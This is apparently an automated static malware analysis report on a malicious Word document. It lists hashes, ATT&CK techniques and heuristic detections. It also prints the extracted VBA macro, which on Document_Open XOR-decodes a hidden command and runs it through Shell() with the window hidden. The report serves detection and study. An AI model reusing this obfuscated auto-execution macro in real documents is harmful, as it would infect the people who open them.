Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 724ab4eeb96c2b78…

MALICIOUS

Office (OLE)

163.0 KB Created: 2016-06-07 03:06:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: 1d6c4bc9cc924983a304abf85d067d12 SHA-1: 27a9dc4cf85814851f989b366ca4237056fd2dd2 SHA-256: 724ab4eeb96c2b7857a463b72fe703fbb4f9b62e5b8739061a80d83db3c099fd
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a Microsoft Office document containing VBA macros. The 'Document_Open' macro is configured to execute a 'Shell()' command, indicating an attempt to download and run a secondary payload. The specific payload and its destination are not directly discernible from the provided evidence, leading to an 'unknown family' classification.

Heuristics 5

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2989 bytes
SHA-256: 105c69b89a892672a0a4cadf7e6ed776f1172367268ab29e9f6b89e43fb17451
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function VGhNxhMapi(rzTsNKFiec As Variant, yHFbyDbOjn As Integer)
Dim mlsWoopXkg, FxbldePBdK As String, zAcdCERnVd, FBgoSOyIRN
FxbldePBdK = ActiveDocument.Variables("TvoHY").Value()
mlsWoopXkg = ""
zAcdCERnVd = 1
While zAcdCERnVd < UBound(rzTsNKFiec) + 2
FBgoSOyIRN = zAcdCERnVd Mod Len(FxbldePBdK): If FBgoSOyIRN = 0 Then FBgoSOyIRN = Len(FxbldePBdK)
mlsWoopXkg = mlsWoopXkg + Chr(Asc(Mid(FxbldePBdK, FBgoSOyIRN + yHFbyDbOjn, 1)) Xor CInt(rzTsNKFiec(zAcdCERnVd - 1)))
zAcdCERnVd = zAcdCERnVd + 1
Wend
VGhNxhMapi = mlsWoopXkg
End Function
Function khuDYZZuagzBFAy(ByVal uUXhGIFquk As String) As Boolean
FileExists = (Dir(uUXhGIFquk) <> "")
End Function
Public Function hGhGTcfxjVCGMJB()
strc1 = VGhNxhMapi(Array(81, 9, 34, 105, 84, 55, 41, 113, 102, 85, 117, 29, 40, 57, 93, 27, 58, 44, 41, 84, 14, _
99, 63, 11, 87, 99, 107, 29, 72, 83, 35, 24, 28, 10, 20, 31, 104, 74, 87, 29, 87, _
2, 68, 89, 35, 117, 10, 13, 52, 1, 47, 10, 119, 117, 115, 59, 32, 90, 39, 44, 41, _
3, 15, 117, 38, 114, 6, 25, 6, 38, 36, 42, 92, 27, 47, 23, 23, 91, 8, 29, 2, _
35, 60, 45, 0, 111, 3, 18, 105, 20, 31, 16, 43, 76, 112, 9, 42, 119, 2, 50, 45, _
5, 47, 62, 108, 46, 22, 38, 117, 52, 18, 27, 54, 12, 10, 9, 45, 45, 27, 7, 10, _
11, 31, 30, 23, 60, 9, 1, 78, 56, 55, 34, 26, 73, 40, 49, 4, 113, 37, 78, 115, _
16, 23, 37, 86, 56, 13, 37, 8, 83, 112, 28, 11, 43, 13, 2, 47, 3, 11, 26, 14, _
56, 40, 22, 112, 121, 27, 40, 5, 11, 17, 41, 32, 49, 43, 8, 103, 117, 32, 60, 24, _
125, 115, 1, 90, 121, 29, 7, 23, 15, 119, 38, 33, 46, 21, 0, 33, 0, 35, 61, 8, _
116, 50, 61, 41, 60, 10, 56, 11, 52, 44, 100, 16, 37, 16, 48, 33, 32, 90, 66, 46, _
120, 115, 41, 94, 46, 48, 14, 39, 38, 114, 22, 1, 45, 57, 37, 32, 62, 34, 116, 60, _
23, 86, 120, 118, 7, 22, 119, 50, 43, 125, 59, 117, 58, 48, 126, 6, 115, 41, 24, 15, _
30, 8, 17, 2, 34, 62, 62, 113, 25, 4, 6, 110, 37, 60, 61, 27, 3, 114, 50, 117, _
121, 27, 6, 56, 16, 52, 48, 58, 46, 52, 62, 37, 9, 24, 112, 17, 50, 32, 16, 41, _
24, 25, 54, 27, 36, 81, 81, 6, 85, 42, 42, 9, 43, 31, 28, 54, 8, 20, 27, 1, _
43, 59, 54, 113, 103, 117, 1, 96, 45, 15, 66, 45, 33, 13, 123, 45, 41, 123, 24, 7, _
38, 5, 46, 53, 41, 83, 55, 114, 73, 0, 125, 27, 41, 29, 35, 43, 68, 19, 17, 44, _
13, 55, 46, 46, 102, 59, 5, 7, 43, 33, 8, 8, 43, 9, 38, 81, 18, 10, 36, 8, _
58, 8, 38, 60, 53, 4, 38, 53, 52, 43, 114, 59, 41, 51, 121, 48, 78, 55, 48, 28, _
48), 0)
kgytyutyt7 = Shell(strc1, 0)
End Function
Private Sub Document_Open()
If ActiveDocument.Variables("TvoHY").Value <> "toto" Then
hGhGTcfxjVCGMJB
ActiveDocument.Variables("TvoHY").Value = "toto"
If ActiveDocument.ReadOnly = False Then
ActiveDocument.Save
End If
End If
End Sub